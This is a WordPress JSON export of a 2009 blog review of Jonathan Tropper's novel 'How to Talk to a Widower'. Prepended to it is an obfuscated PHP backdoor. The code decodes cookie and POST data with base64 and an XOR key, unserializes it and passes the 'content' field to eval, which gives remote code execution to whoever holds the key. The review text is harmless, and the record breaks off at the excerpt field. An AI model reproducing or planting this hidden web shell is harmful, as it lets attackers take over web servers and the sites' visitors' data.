$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":666,"date":"2009-06-18T17:07:16","date_gmt":"2009-06-18T21:07:16","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=666"},"modified":"2009-06-18T17:07:16","modified_gmt":"2009-06-18T21:07:16","slug":"book-review-how-to-talk-to-a-widower","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=666","title":{"rendered":"Book Review: How to Talk to a Widower"},"content":{"rendered":"

I found Jonathan Tropper<\/a> by accident. While scanning the shelves at a local bookstore for something to read, the cover for The Book of Joe<\/a> caught my eye. I had never heard of the author, but found the summary interesting enough. Plus, I’m a sucker for guys writing about guys who need to grow up a little bit. I enjoyed the book, but not as much as I had hoped.<\/p>\n

$\"\"$ After polishing off How to Talk to a Widower<\/a> in just under two days last week, I’m very grateful for picking up that first book and giving his other work a try. First, I tried his debut novel Plan B<\/a>, now this. I am hooked. I have one more from his back catalog to read, and he has a new book coming out in August.<\/p>\n

In Widower<\/em>, his most recent published work, Doug Parker finds himself suddenly widowed. His wife is 11 years older than him and leaves a complicated life behind for the young writer – a teenage son and an ex-husband. Parker doesn’t handle grief well to begin with. The attachments of his marriage make it even tougher to cope.<\/p>\n

The sory takes place around a year after the plain crash that claims Parker’s wife and features situations only Tropper can get his characters into. I don’t know why he needs to have his main characters get into brawls, but it has started to crack me up.<\/p>\n

Doug tries to manage his grief, a rebelious stepson, an agent looking to capitalize on the tragedy, and a family too bizarre to even describe. Doug has a way of making everyone around him not like him a little bit, while still wanting to help him back on his feet. Well, almost everyone.<\/p>\n

Tropper does a great job at taking us through Doug’s journey while avoiding too sacharrine of an ending. As I said to a friend, I want to write like Jonathan Tropper when I grow up.<\/p>\n","protected":false},"excerpt":{"rendered":"